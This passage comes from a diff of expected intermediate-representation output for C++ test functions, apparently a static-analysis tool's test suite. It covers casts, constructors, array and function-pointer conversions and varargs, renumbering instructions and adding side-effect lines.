r0_41(glval) = FunctionAddress[operator=] : +# 810| r0_42(glval) = FunctionAddress[Base] : +# 810| r0_43(glval) = VariableAddress[m] : +# 810| r0_44(glval) = ConvertToBase[Middle : Base] : r0_43 +# 810| v0_45(void) = Call : r0_42, r0_44 +# 810| mu0_46(unknown) = ^CallSideEffect : mu0_2 +# 810| r0_47(Base) = Convert : v0_45 +# 810| r0_48(Base &) = Call : r0_41, this:r0_40, r0_47 +# 810| mu0_49(unknown) = ^CallSideEffect : mu0_2 +# 811| r0_50(glval) = VariableAddress[pm] : +# 811| r0_51(Middle *) = Load : r0_50, mu0_2 +# 811| r0_52(Base *) = ConvertToBase[Middle : Base] : r0_51 +# 811| r0_53(glval) = VariableAddress[pb] : +# 811| mu0_54(Base *) = Store : r0_53, r0_52 +# 812| r0_55(glval) = VariableAddress[pm] : +# 812| r0_56(Middle *) = Load : r0_55, mu0_2 +# 812| r0_57(Base *) = ConvertToBase[Middle : Base] : r0_56 +# 812| r0_58(glval) = VariableAddress[pb] : +# 812| mu0_59(Base *) = Store : r0_58, r0_57 +# 813| r0_60(glval) = VariableAddress[pm] : +# 813| r0_61(Middle *) = Load : r0_60, mu0_2 +# 813| r0_62(Base *) = ConvertToBase[Middle : Base] : r0_61 +# 813| r0_63(glval) = VariableAddress[pb] : +# 813| mu0_64(Base *) = Store : r0_63, r0_62 +# 814| r0_65(glval) = VariableAddress[pm] : +# 814| r0_66(Middle *) = Load : r0_65, mu0_2 +# 814| r0_67(Base *) = Convert : r0_66 +# 814| r0_68(glval) = VariableAddress[pb] : +# 814| mu0_69(Base *) = Store : r0_68, r0_67 +# 816| r0_70(glval) = VariableAddress[m] : +# 816| r0_71(glval) = FunctionAddress[operator=] : +# 816| r0_72(glval) = VariableAddress[b] : +# 816| r0_73(glval) = ConvertToDerived[Middle : Base] : r0_72 +# 816| r0_74(glval) = Convert : r0_73 +# 816| r0_75(Middle &) = Call : r0_71, this:r0_70, r0_74 +# 816| mu0_76(unknown) = ^CallSideEffect : mu0_2 +# 817| r0_77(glval) = VariableAddress[m] : +# 817| r0_78(glval) = FunctionAddress[operator=] : +# 817| r0_79(glval) = VariableAddress[b] : +# 817| r0_80(glval) = ConvertToDerived[Middle : Base] : r0_79 +# 817| r0_81(glval) = Convert : r0_80 +# 817| r0_82(Middle &) = Call : r0_78, this:r0_77, r0_81 +# 817| mu0_83(unknown) = ^CallSideEffect : mu0_2 +# 818| r0_84(glval) = VariableAddress[pb] : +# 818| r0_85(Base *) = Load : r0_84, mu0_2 +# 818| r0_86(Middle *) = ConvertToDerived[Middle : Base] : r0_85 +# 818| r0_87(glval) = VariableAddress[pm] : +# 818| mu0_88(Middle *) = Store : r0_87, r0_86 +# 819| r0_89(glval) = VariableAddress[pb] : +# 819| r0_90(Base *) = Load : r0_89, mu0_2 +# 819| r0_91(Middle *) = ConvertToDerived[Middle : Base] : r0_90 +# 819| r0_92(glval) = VariableAddress[pm] : +# 819| mu0_93(Middle *) = Store : r0_92, r0_91 +# 820| r0_94(glval) = VariableAddress[pb] : +# 820| r0_95(Base *) = Load : r0_94, mu0_2 +# 820| r0_96(Middle *) = Convert : r0_95 +# 820| r0_97(glval) = VariableAddress[pm] : +# 820| mu0_98(Middle *) = Store : r0_97, r0_96 +# 822| r0_99(glval) = VariableAddress[b] : +# 822| r0_100(glval) = FunctionAddress[operator=] : +# 822| r0_101(glval) = VariableAddress[d] : +# 822| r0_102(glval) = ConvertToBase[Derived : Middle] : r0_101 +# 822| r0_103(glval) = ConvertToBase[Middle : Base] : r0_102 +# 822| r0_104(Base &) = Call : r0_100, this:r0_99, r0_103 +# 822| mu0_105(unknown) = ^CallSideEffect : mu0_2 +# 823| r0_106(glval) = VariableAddress[b] : +# 823| r0_107(glval) = FunctionAddress[operator=] : +# 823| r0_108(glval) = FunctionAddress[Base] : +# 823| r0_109(glval) = VariableAddress[d] : +# 823| r0_110(glval) = ConvertToBase[Derived : Middle] : r0_109 +# 823| r0_111(glval) = ConvertToBase[Middle : Base] : r0_110 +# 823| v0_112(void) = Call : r0_108, r0_111 +# 823| mu0_113(unknown) = ^CallSideEffect : mu0_2 +# 823| r0_114(Base) = Convert : v0_112 +# 823| r0_115(Base &) = Call : r0_107, this:r0_106, r0_114 +# 823| mu0_116(unknown) = ^CallSideEffect : mu0_2 +# 824| r0_117(glval) = VariableAddress[b] : +# 824| r0_118(glval) = FunctionAddress[operator=] : +# 824| r0_119(glval) = FunctionAddress[Base] : +# 824| r0_120(glval) = VariableAddress[d] : +# 824| r0_121(glval) = ConvertToBase[Derived : Middle] : r0_120 +# 824| r0_122(glval) = ConvertToBase[Middle : Base] : r0_121 +# 824| v0_123(void) = Call : r0_119, r0_122 +# 824| mu0_124(unknown) = ^CallSideEffect : mu0_2 +# 824| r0_125(Base) = Convert : v0_123 +# 824| r0_126(Base &) = Call : r0_118, this:r0_117, r0_125 +# 824| mu0_127(unknown) = ^CallSideEffect : mu0_2 +# 825| r0_128(glval) = VariableAddress[pd] : +# 825| r0_129(Derived *) = Load : r0_128, mu0_2 +# 825| r0_130(Middle *) = ConvertToBase[Derived : Middle] : r0_129 +# 825| r0_131(Base *) = ConvertToBase[Middle : Base] : r0_130 +# 825| r0_132(glval) = VariableAddress[pb] : +# 825| mu0_133(Base *) = Store : r0_132, r0_131 +# 826| r0_134(glval) = VariableAddress[pd] : +# 826| r0_135(Derived *) = Load : r0_134, mu0_2 +# 826| r0_136(Middle *) = ConvertToBase[Derived : Middle] : r0_135 +# 826| r0_137(Base *) = ConvertToBase[Middle : Base] : r0_136 +# 826| r0_138(glval) = VariableAddress[pb] : +# 826| mu0_139(Base *) = Store : r0_138, r0_137 +# 827| r0_140(glval) = VariableAddress[pd] : +# 827| r0_141(Derived *) = Load : r0_140, mu0_2 +# 827| r0_142(Middle *) = ConvertToBase[Derived : Middle] : r0_141 +# 827| r0_143(Base *) = ConvertToBase[Middle : Base] : r0_142 +# 827| r0_144(glval) = VariableAddress[pb] : +# 827| mu0_145(Base *) = Store : r0_144, r0_143 +# 828| r0_146(glval) = VariableAddress[pd] : +# 828| r0_147(Derived *) = Load : r0_146, mu0_2 +# 828| r0_148(Base *) = Convert : r0_147 +# 828| r0_149(glval) = VariableAddress[pb] : +# 828| mu0_150(Base *) = Store : r0_149, r0_148 +# 830| r0_151(glval) = VariableAddress[d] : +# 830| r0_152(glval) = FunctionAddress[operator=] : +# 830| r0_153(glval) = VariableAddress[b] : +# 830| r0_154(glval) = ConvertToDerived[Middle : Base] : r0_153 +# 830| r0_155(glval) = ConvertToDerived[Derived : Middle] : r0_154 +# 830| r0_156(glval) = Convert : r0_155 +# 830| r0_157(Derived &) = Call : r0_152, this:r0_151, r0_156 +# 830| mu0_158(unknown) = ^CallSideEffect : mu0_2 +# 831| r0_159(glval) = VariableAddress[d] : +# 831| r0_160(glval) = FunctionAddress[operator=] : +# 831| r0_161(glval) = VariableAddress[b] : +# 831| r0_162(glval) = ConvertToDerived[Middle : Base] : r0_161 +# 831| r0_163(glval) = ConvertToDerived[Derived : Middle] : r0_162 +# 831| r0_164(glval) = Convert : r0_163 +# 831| r0_165(Derived &) = Call : r0_160, this:r0_159, r0_164 +# 831| mu0_166(unknown) = ^CallSideEffect : mu0_2 +# 832| r0_167(glval) = VariableAddress[pb] : +# 832| r0_168(Base *) = Load : r0_167, mu0_2 +# 832| r0_169(Middle *) = ConvertToDerived[Middle : Base] : r0_168 +# 832| r0_170(Derived *) = ConvertToDerived[Derived : Middle] : r0_169 +# 832| r0_171(glval) = VariableAddress[pd] : +# 832| mu0_172(Derived *) = Store : r0_171, r0_170 +# 833| r0_173(glval) = VariableAddress[pb] : +# 833| r0_174(Base *) = Load : r0_173, mu0_2 +# 833| r0_175(Middle *) = ConvertToDerived[Middle : Base] : r0_174 +# 833| r0_176(Derived *) = ConvertToDerived[Derived : Middle] : r0_175 +# 833| r0_177(glval) = VariableAddress[pd] : +# 833| mu0_178(Derived *) = Store : r0_177, r0_176 +# 834| r0_179(glval) = VariableAddress[pb] : +# 834| r0_180(Base *) = Load : r0_179, mu0_2 +# 834| r0_181(Derived *) = Convert : r0_180 +# 834| r0_182(glval) = VariableAddress[pd] : +# 834| mu0_183(Derived *) = Store : r0_182, r0_181 +# 836| r0_184(glval) = VariableAddress[pmv] : +# 836| r0_185(MiddleVB1 *) = Constant[0] : +# 836| mu0_186(MiddleVB1 *) = Store : r0_184, r0_185 +# 837| r0_187(glval) = VariableAddress[pdv] : +# 837| r0_188(DerivedVB *) = Constant[0] : +# 837| mu0_189(DerivedVB *) = Store : r0_187, r0_188 +# 838| r0_190(glval) = VariableAddress[pmv] : +# 838| r0_191(MiddleVB1 *) = Load : r0_190, mu0_2 +# 838| r0_192(Base *) = ConvertToVirtualBase[MiddleVB1 : Base] : r0_191 +# 838| r0_193(glval) = VariableAddress[pb] : +# 838| mu0_194(Base *) = Store : r0_193, r0_192 +# 839| r0_195(glval) = VariableAddress[pdv] : +# 839| r0_196(DerivedVB *) = Load : r0_195, mu0_2 +# 839| r0_197(Base *) = ConvertToVirtualBase[DerivedVB : Base] : r0_196 +# 839| r0_198(glval) = VariableAddress[pb] : +# 839| mu0_199(Base *) = Store : r0_198, r0_197 +# 840| v0_200(void) = NoOp : +# 799| v0_201(void) = ReturnVoid : +# 799| v0_202(void) = UnmodeledUse : mu* +# 799| v0_203(void) = ExitFunction : # 842| PolymorphicBase::PolymorphicBase() -> void # 842| Block 0 # 842| v0_0(void) = EnterFunction : -# 842| mu0_1(unknown) = UnmodeledDefinition : -# 842| r0_2(glval) = InitializeThis : -# 842| v0_3(void) = NoOp : -# 842| v0_4(void) = ReturnVoid : -# 842| v0_5(void) = UnmodeledUse : mu* -# 842| v0_6(void) = ExitFunction : +# 842| mu0_1(unknown) = AliasedDefinition : +# 842| mu0_2(unknown) = UnmodeledDefinition : +# 842| r0_3(glval) = InitializeThis : +# 842| v0_4(void) = NoOp : +# 842| v0_5(void) = ReturnVoid : +# 842| v0_6(void) = UnmodeledUse : mu* +# 842| v0_7(void) = ExitFunction : # 846| PolymorphicDerived::PolymorphicDerived() -> void # 846| Block 0 # 846| v0_0(void) = EnterFunction : -# 846| mu0_1(unknown) = UnmodeledDefinition : -# 846| r0_2(glval) = InitializeThis : -# 846| r0_3(glval) = ConvertToBase[PolymorphicDerived : PolymorphicBase] : r0_2 -# 846| r0_4(glval) = FunctionAddress[PolymorphicBase] : -# 846| v0_5(void) = Call : r0_4, this:r0_3 -# 846| v0_6(void) = NoOp : -# 846| v0_7(void) = ReturnVoid : -# 846| v0_8(void) = UnmodeledUse : mu* -# 846| v0_9(void) = ExitFunction : +# 846| mu0_1(unknown) = AliasedDefinition : +# 846| mu0_2(unknown) = UnmodeledDefinition : +# 846| r0_3(glval) = InitializeThis : +# 846| r0_4(glval) = ConvertToBase[PolymorphicDerived : PolymorphicBase] : r0_3 +# 846| r0_5(glval) = FunctionAddress[PolymorphicBase] : +# 846| v0_6(void) = Call : r0_5, this:r0_4 +# 846| mu0_7(unknown) = ^CallSideEffect : mu0_2 +# 846| v0_8(void) = NoOp : +# 846| v0_9(void) = ReturnVoid : +# 846| v0_10(void) = UnmodeledUse : mu* +# 846| v0_11(void) = ExitFunction : # 846| PolymorphicDerived::~PolymorphicDerived() -> void # 846| Block 0 # 846| v0_0(void) = EnterFunction : -# 846| mu0_1(unknown) = UnmodeledDefinition : -# 846| r0_2(glval) = InitializeThis : -#-----| v0_3(void) = NoOp : -# 846| r0_4(glval) = ConvertToBase[PolymorphicDerived : PolymorphicBase] : r0_2 -# 846| r0_5(glval) = FunctionAddress[~PolymorphicBase] : -# 846| v0_6(void) = Call : r0_5, this:r0_4 -# 846| v0_7(void) = ReturnVoid : -# 846| v0_8(void) = UnmodeledUse : mu* -# 846| v0_9(void) = ExitFunction : +# 846| mu0_1(unknown) = AliasedDefinition : +# 846| mu0_2(unknown) = UnmodeledDefinition : +# 846| r0_3(glval) = InitializeThis : +#-----| v0_4(void) = NoOp : +# 846| r0_5(glval) = ConvertToBase[PolymorphicDerived : PolymorphicBase] : r0_3 +# 846| r0_6(glval) = FunctionAddress[~PolymorphicBase] : +# 846| v0_7(void) = Call : r0_6, this:r0_5 +# 846| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 846| v0_9(void) = ReturnVoid : +# 846| v0_10(void) = UnmodeledUse : mu* +# 846| v0_11(void) = ExitFunction : # 849| DynamicCast() -> void # 849| Block 0 # 849| v0_0(void) = EnterFunction : -# 849| mu0_1(unknown) = UnmodeledDefinition : -# 850| r0_2(glval) = VariableAddress[b] : -#-----| r0_3(glval) = FunctionAddress[PolymorphicBase] : -#-----| v0_4(void) = Call : r0_3, this:r0_2 -# 851| r0_5(glval) = VariableAddress[d] : -# 851| r0_6(glval) = FunctionAddress[PolymorphicDerived] : -# 851| v0_7(void) = Call : r0_6, this:r0_5 -# 853| r0_8(glval) = VariableAddress[pb] : -# 853| r0_9(glval) = VariableAddress[b] : -# 853| mu0_10(PolymorphicBase *) = Store : r0_8, r0_9 -# 854| r0_11(glval) = VariableAddress[pd] : -# 854| r0_12(glval) = VariableAddress[d] : -# 854| mu0_13(PolymorphicDerived *) = Store : r0_11, r0_12 -# 857| r0_14(glval) = VariableAddress[pd] : -# 857| r0_15(PolymorphicDerived *) = Load : r0_14, mu0_1 -# 857| r0_16(PolymorphicBase *) = CheckedConvertOrNull : r0_15 -# 857| r0_17(glval) = VariableAddress[pb] : -# 857| mu0_18(PolymorphicBase *) = Store : r0_17, r0_16 -# 858| r0_19(glval) = VariableAddress[rb] : -# 858| r0_20(glval) = VariableAddress[d] : -# 858| r0_21(glval) = CheckedConvertOrThrow : r0_20 -# 858| mu0_22(PolymorphicBase &) = Store : r0_19, r0_21 -# 860| r0_23(glval) = VariableAddress[pb] : -# 860| r0_24(PolymorphicBase *) = Load : r0_23, mu0_1 -# 860| r0_25(PolymorphicDerived *) = CheckedConvertOrNull : r0_24 -# 860| r0_26(glval) = VariableAddress[pd] : -# 860| mu0_27(PolymorphicDerived *) = Store : r0_26, r0_25 -# 861| r0_28(glval) = VariableAddress[rd] : -# 861| r0_29(glval) = VariableAddress[b] : -# 861| r0_30(glval) = CheckedConvertOrThrow : r0_29 -# 861| mu0_31(PolymorphicDerived &) = Store : r0_28, r0_30 -# 863| r0_32(glval) = VariableAddress[pv] : -# 863| r0_33(glval) = VariableAddress[pb] : -# 863| r0_34(PolymorphicBase *) = Load : r0_33, mu0_1 -# 863| r0_35(void *) = DynamicCastToVoid : r0_34 -# 863| mu0_36(void *) = Store : r0_32, r0_35 -# 864| r0_37(glval) = VariableAddress[pcv] : -# 864| r0_38(glval) = VariableAddress[pd] : -# 864| r0_39(PolymorphicDerived *) = Load : r0_38, mu0_1 -# 864| r0_40(void *) = DynamicCastToVoid : r0_39 -# 864| mu0_41(void *) = Store : r0_37, r0_40 -# 865| v0_42(void) = NoOp : -# 849| v0_43(void) = ReturnVoid : -# 849| v0_44(void) = UnmodeledUse : mu* -# 849| v0_45(void) = ExitFunction : +# 849| mu0_1(unknown) = AliasedDefinition : +# 849| mu0_2(unknown) = UnmodeledDefinition : +# 850| r0_3(glval) = VariableAddress[b] : +#-----| r0_4(glval) = FunctionAddress[PolymorphicBase] : +#-----| v0_5(void) = Call : r0_4, this:r0_3 +#-----| mu0_6(unknown) = ^CallSideEffect : mu0_2 +# 851| r0_7(glval) = VariableAddress[d] : +# 851| r0_8(glval) = FunctionAddress[PolymorphicDerived] : +# 851| v0_9(void) = Call : r0_8, this:r0_7 +# 851| mu0_10(unknown) = ^CallSideEffect : mu0_2 +# 853| r0_11(glval) = VariableAddress[pb] : +# 853| r0_12(glval) = VariableAddress[b] : +# 853| mu0_13(PolymorphicBase *) = Store : r0_11, r0_12 +# 854| r0_14(glval) = VariableAddress[pd] : +# 854| r0_15(glval) = VariableAddress[d] : +# 854| mu0_16(PolymorphicDerived *) = Store : r0_14, r0_15 +# 857| r0_17(glval) = VariableAddress[pd] : +# 857| r0_18(PolymorphicDerived *) = Load : r0_17, mu0_2 +# 857| r0_19(PolymorphicBase *) = CheckedConvertOrNull : r0_18 +# 857| r0_20(glval) = VariableAddress[pb] : +# 857| mu0_21(PolymorphicBase *) = Store : r0_20, r0_19 +# 858| r0_22(glval) = VariableAddress[rb] : +# 858| r0_23(glval) = VariableAddress[d] : +# 858| r0_24(glval) = CheckedConvertOrThrow : r0_23 +# 858| mu0_25(PolymorphicBase &) = Store : r0_22, r0_24 +# 860| r0_26(glval) = VariableAddress[pb] : +# 860| r0_27(PolymorphicBase *) = Load : r0_26, mu0_2 +# 860| r0_28(PolymorphicDerived *) = CheckedConvertOrNull : r0_27 +# 860| r0_29(glval) = VariableAddress[pd] : +# 860| mu0_30(PolymorphicDerived *) = Store : r0_29, r0_28 +# 861| r0_31(glval) = VariableAddress[rd] : +# 861| r0_32(glval) = VariableAddress[b] : +# 861| r0_33(glval) = CheckedConvertOrThrow : r0_32 +# 861| mu0_34(PolymorphicDerived &) = Store : r0_31, r0_33 +# 863| r0_35(glval) = VariableAddress[pv] : +# 863| r0_36(glval) = VariableAddress[pb] : +# 863| r0_37(PolymorphicBase *) = Load : r0_36, mu0_2 +# 863| r0_38(void *) = DynamicCastToVoid : r0_37 +# 863| mu0_39(void *) = Store : r0_35, r0_38 +# 864| r0_40(glval) = VariableAddress[pcv] : +# 864| r0_41(glval) = VariableAddress[pd] : +# 864| r0_42(PolymorphicDerived *) = Load : r0_41, mu0_2 +# 864| r0_43(void *) = DynamicCastToVoid : r0_42 +# 864| mu0_44(void *) = Store : r0_40, r0_43 +# 865| v0_45(void) = NoOp : +# 849| v0_46(void) = ReturnVoid : +# 849| v0_47(void) = UnmodeledUse : mu* +# 849| v0_48(void) = ExitFunction : # 867| String::String() -> void # 867| Block 0 # 867| v0_0(void) = EnterFunction : -# 867| mu0_1(unknown) = UnmodeledDefinition : -# 867| r0_2(glval) = InitializeThis : -# 868| r0_3(glval) = FunctionAddress[String] : -# 868| r0_4(glval) = StringConstant[""] : -# 868| r0_5(char *) = Convert : r0_4 -# 868| v0_6(void) = Call : r0_3, this:r0_2, r0_5 -# 869| v0_7(void) = NoOp : -# 867| v0_8(void) = ReturnVoid : -# 867| v0_9(void) = UnmodeledUse : mu* -# 867| v0_10(void) = ExitFunction : +# 867| mu0_1(unknown) = AliasedDefinition : +# 867| mu0_2(unknown) = UnmodeledDefinition : +# 867| r0_3(glval) = InitializeThis : +# 868| r0_4(glval) = FunctionAddress[String] : +# 868| r0_5(glval) = StringConstant[""] : +# 868| r0_6(char *) = Convert : r0_5 +# 868| v0_7(void) = Call : r0_4, this:r0_3, r0_6 +# 868| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 869| v0_9(void) = NoOp : +# 867| v0_10(void) = ReturnVoid : +# 867| v0_11(void) = UnmodeledUse : mu* +# 867| v0_12(void) = ExitFunction : # 871| ArrayConversions() -> void # 871| Block 0 # 871| v0_0(void) = EnterFunction : -# 871| mu0_1(unknown) = UnmodeledDefinition : -# 872| r0_2(glval) = VariableAddress[a] : -# 872| mu0_3(char[5]) = Uninitialized : r0_2 -# 873| r0_4(glval) = VariableAddress[p] : -# 873| r0_5(glval) = VariableAddress[a] : -# 873| r0_6(char *) = Convert : r0_5 +# 871| mu0_1(unknown) = AliasedDefinition : +# 871| mu0_2(unknown) = UnmodeledDefinition : +# 872| r0_3(glval) = VariableAddress[a] : +# 872| mu0_4(char[5]) = Uninitialized[a] : r0_3 +# 873| r0_5(glval) = VariableAddress[p] : +# 873| r0_6(glval) = VariableAddress[a] : # 873| r0_7(char *) = Convert : r0_6 -# 873| mu0_8(char *) = Store : r0_4, r0_7 -# 874| r0_9(glval) = StringConstant["test"] : -# 874| r0_10(char *) = Convert : r0_9 -# 874| r0_11(glval) = VariableAddress[p] : -# 874| mu0_12(char *) = Store : r0_11, r0_10 -# 875| r0_13(glval) = VariableAddress[a] : -# 875| r0_14(char *) = Convert : r0_13 -# 875| r0_15(int) = Constant[0] : -# 875| r0_16(char *) = PointerAdd[1] : r0_14, r0_15 -# 875| r0_17(char *) = Convert : r0_16 -# 875| r0_18(glval) = VariableAddress[p] : -# 875| mu0_19(char *) = Store : r0_18, r0_17 -# 876| r0_20(glval) = StringConstant["test"] : -# 876| r0_21(char *) = Convert : r0_20 -# 876| r0_22(int) = Constant[0] : -# 876| r0_23(char *) = PointerAdd[1] : r0_21, r0_22 -# 876| r0_24(glval) = VariableAddress[p] : -# 876| mu0_25(char *) = Store : r0_24, r0_23 -# 877| r0_26(glval) = VariableAddress[ra] : -# 877| r0_27(glval) = VariableAddress[a] : -# 877| mu0_28(char(&)[5]) = Store : r0_26, r0_27 -# 878| r0_29(glval) = VariableAddress[rs] : -# 878| r0_30(glval) = StringConstant["test"] : -# 878| mu0_31(char(&)[5]) = Store : r0_29, r0_30 -# 879| r0_32(glval) = VariableAddress[pa] : -# 879| r0_33(glval) = VariableAddress[a] : -# 879| r0_34(char(*)[5]) = Convert : r0_33 -# 879| mu0_35(char(*)[5]) = Store : r0_32, r0_34 -# 880| r0_36(glval) = StringConstant["test"] : -# 880| r0_37(glval) = VariableAddress[pa] : -# 880| mu0_38(char(*)[5]) = Store : r0_37, r0_36 -# 881| v0_39(void) = NoOp : -# 871| v0_40(void) = ReturnVoid : -# 871| v0_41(void) = UnmodeledUse : mu* -# 871| v0_42(void) = ExitFunction : +# 873| r0_8(char *) = Convert : r0_7 +# 873| mu0_9(char *) = Store : r0_5, r0_8 +# 874| r0_10(glval) = StringConstant["test"] : +# 874| r0_11(char *) = Convert : r0_10 +# 874| r0_12(glval) = VariableAddress[p] : +# 874| mu0_13(char *) = Store : r0_12, r0_11 +# 875| r0_14(glval) = VariableAddress[a] : +# 875| r0_15(char *) = Convert : r0_14 +# 875| r0_16(int) = Constant[0] : +# 875| r0_17(char *) = PointerAdd[1] : r0_15, r0_16 +# 875| r0_18(char *) = Convert : r0_17 +# 875| r0_19(glval) = VariableAddress[p] : +# 875| mu0_20(char *) = Store : r0_19, r0_18 +# 876| r0_21(glval) = StringConstant["test"] : +# 876| r0_22(char *) = Convert : r0_21 +# 876| r0_23(int) = Constant[0] : +# 876| r0_24(char *) = PointerAdd[1] : r0_22, r0_23 +# 876| r0_25(glval) = VariableAddress[p] : +# 876| mu0_26(char *) = Store : r0_25, r0_24 +# 877| r0_27(glval) = VariableAddress[ra] : +# 877| r0_28(glval) = VariableAddress[a] : +# 877| mu0_29(char(&)[5]) = Store : r0_27, r0_28 +# 878| r0_30(glval) = VariableAddress[rs] : +# 878| r0_31(glval) = StringConstant["test"] : +# 878| mu0_32(char(&)[5]) = Store : r0_30, r0_31 +# 879| r0_33(glval) = VariableAddress[pa] : +# 879| r0_34(glval) = VariableAddress[a] : +# 879| r0_35(char(*)[5]) = Convert : r0_34 +# 879| mu0_36(char(*)[5]) = Store : r0_33, r0_35 +# 880| r0_37(glval) = StringConstant["test"] : +# 880| r0_38(glval) = VariableAddress[pa] : +# 880| mu0_39(char(*)[5]) = Store : r0_38, r0_37 +# 881| v0_40(void) = NoOp : +# 871| v0_41(void) = ReturnVoid : +# 871| v0_42(void) = UnmodeledUse : mu* +# 871| v0_43(void) = ExitFunction : # 883| FuncPtrConversions(..(*)(..), void *) -> void # 883| Block 0 # 883| v0_0(void) = EnterFunction : -# 883| mu0_1(unknown) = UnmodeledDefinition : -# 883| r0_2(glval<..(*)(..)>) = VariableAddress[pfn] : -# 883| mu0_3(..(*)(..)) = InitializeParameter[pfn] : r0_2 -# 883| r0_4(glval) = VariableAddress[p] : -# 883| mu0_5(void *) = InitializeParameter[p] : r0_4 -# 884| r0_6(glval<..(*)(..)>) = VariableAddress[pfn] : -# 884| r0_7(..(*)(..)) = Load : r0_6, mu0_1 -# 884| r0_8(void *) = Convert : r0_7 -# 884| r0_9(glval) = VariableAddress[p] : -# 884| mu0_10(void *) = Store : r0_9, r0_8 -# 885| r0_11(glval) = VariableAddress[p] : -# 885| r0_12(void *) = Load : r0_11, mu0_1 -# 885| r0_13(..(*)(..)) = Convert : r0_12 -# 885| r0_14(glval<..(*)(..)>) = VariableAddress[pfn] : -# 885| mu0_15(..(*)(..)) = Store : r0_14, r0_13 -# 886| v0_16(void) = NoOp : -# 883| v0_17(void) = ReturnVoid : -# 883| v0_18(void) = UnmodeledUse : mu* -# 883| v0_19(void) = ExitFunction : +# 883| mu0_1(unknown) = AliasedDefinition : +# 883| mu0_2(unknown) = UnmodeledDefinition : +# 883| r0_3(glval<..(*)(..)>) = VariableAddress[pfn] : +# 883| mu0_4(..(*)(..)) = InitializeParameter[pfn] : r0_3 +# 883| r0_5(glval) = VariableAddress[p] : +# 883| mu0_6(void *) = InitializeParameter[p] : r0_5 +# 884| r0_7(glval<..(*)(..)>) = VariableAddress[pfn] : +# 884| r0_8(..(*)(..)) = Load : r0_7, mu0_2 +# 884| r0_9(void *) = Convert : r0_8 +# 884| r0_10(glval) = VariableAddress[p] : +# 884| mu0_11(void *) = Store : r0_10, r0_9 +# 885| r0_12(glval) = VariableAddress[p] : +# 885| r0_13(void *) = Load : r0_12, mu0_2 +# 885| r0_14(..(*)(..)) = Convert : r0_13 +# 885| r0_15(glval<..(*)(..)>) = VariableAddress[pfn] : +# 885| mu0_16(..(*)(..)) = Store : r0_15, r0_14 +# 886| v0_17(void) = NoOp : +# 883| v0_18(void) = ReturnVoid : +# 883| v0_19(void) = UnmodeledUse : mu* +# 883| v0_20(void) = ExitFunction : # 888| VarArgUsage(int) -> void # 888| Block 0 # 888| v0_0(void) = EnterFunction : -# 888| mu0_1(unknown) = UnmodeledDefinition : -# 888| r0_2(glval) = VariableAddress[x] : -# 888| mu0_3(int) = InitializeParameter[x] : r0_2 -# 889| r0_4(glval<__va_list_tag[1]>) = VariableAddress[args] : -# 889| mu0_5(__va_list_tag[1]) = Uninitialized : r0_4 -# 891| r0_6(glval<__va_list_tag[1]>) = VariableAddress[args] : -# 891| r0_7(__va_list_tag *) = Convert : r0_6 -# 891| r0_8(glval) = VariableAddress[x] : -# 891| v0_9(void) = VarArgsStart : r0_7, r0_8 -# 892| r0_10(glval<__va_list_tag[1]>) = VariableAddress[args2] : -# 892| mu0_11(__va_list_tag[1]) = Uninitialized : r0_10 -# 893| r0_12(glval<__va_list_tag[1]>) = VariableAddress[args2] : -# 893| r0_13(__va_list_tag *) = Convert : r0_12 -# 893| r0_14(glval<__va_list_tag[1]>) = VariableAddress[args] : -# 893| r0_15(__va_list_tag *) = Convert : r0_14 -# 893| v0_16(void) = VarArgsStart : r0_13, r0_15 -# 894| r0_17(glval) = VariableAddress[d] : -# 894| r0_18(glval<__va_list_tag[1]>) = VariableAddress[args] : -# 894| r0_19(__va_list_tag *) = Convert : r0_18 -# 894| r0_20(glval) = VarArg : r0_19 -# 894| r0_21(double) = Load : r0_20, mu0_1 -# 894| mu0_22(double) = Store : r0_17, r0_21 -# 895| r0_23(glval) = VariableAddress[f] : -# 895| r0_24(glval<__va_list_tag[1]>) = VariableAddress[args] : -# 895| r0_25(__va_list_tag *) = Convert : r0_24 -# 895| r0_26(glval) = VarArg : r0_25 -# 895| r0_27(double) = Load : r0_26, mu0_1 -# 895| r0_28(float) = Convert : r0_27 -# 895| mu0_29(float) = Store : r0_23, r0_28 -# 896| r0_30(glval<__va_list_tag[1]>) = VariableAddress[args] : -# 896| r0_31(__va_list_tag *) = Convert : r0_30 -# 896| v0_32(void) = VarArgsEnd : r0_31 -# 897| r0_33(glval<__va_list_tag[1]>) = VariableAddress[args2] : -# 897| r0_34(__va_list_tag *) = Convert : r0_33 -# 897| v0_35(void) = VarArgsEnd : r0_34 -# 898| v0_36(void) = NoOp : -# 888| v0_37(void) = ReturnVoid : -# 888| v0_38(void) = UnmodeledUse : mu* -# 888| v0_39(void) = ExitFunction : +# 888| mu0_1(unknown) = AliasedDefinition : +# 888| mu0_2(unknown) = UnmodeledDefinition : +# 888| r0_3(glval) = VariableAddress[x] : +# 888| mu0_4(int) = InitializeParameter[x] : r0_3 +# 889| r0_5(glval<__va_list_tag[1]>) = VariableAddress[args] : +# 889| mu0_6(__va_list_tag[1]) = Uninitialized[args] : r0_5 +# 891| r0_7(glval<__va_list_tag[1]>) = VariableAddress[args] : +# 891| r0_8(__va_list_tag *) = Convert : r0_7 +# 891| r0_9(glval) = VariableAddress[x] : +# 891| v0_10(void) = VarArgsStart : r0_8, r0_9 +# 892| r0_11(glval<__va_list_tag[1]>) = VariableAddress[args2] : +# 892| mu0_12(__va_list_tag[1]) = Uninitialized[args2] : r0_11 +# 893| r0_13(glval<__va_list_tag[1]>) = VariableAddress[args2] : +# 893| r0_14(__va_list_tag *) = Convert : r0_13 +# 893| r0_15(glval<__va_list_tag[1]>) = VariableAddress[args] : +# 893| r0_16(__va_list_tag *) = Convert : r0_15 +# 893| v0_17(void) = VarArgsStart : r0_14, r0_16 +# 894| r0_18(glval) = VariableAddress[d] : +# 894| r0_19(glval<__va_list_tag[1]>) = VariableAddress[args] : +# 894| r0_20(__va_list_tag *) = Convert : r0_19 +# 894| r0_21(glval) = VarArg : r0_20 +# 894| r0_22(double) = Load : r0_21, mu0_2 +# 894| mu0_23(double) = Store : r0_18, r0_22 +# 895| r0_24(glval) = VariableAddress[f] : +# 895| r0_25(glval<__va_list_tag[1]>) = VariableAddress[args] : +# 895| r0_26(__va_list_tag *) = Convert : r0_25 +# 895| r0_27(glval) = VarArg : r0_26 +# 895| r0_28(double) = Load : r0_27, mu0_2 +# 895| r0_29(float) = Convert : r0_28 +# 895| mu0_30(float) = Store : r0_24, r0_29 +# 896| r0_31(glval<__va_list_tag[1]>) = VariableAddress[args] : +# 896| 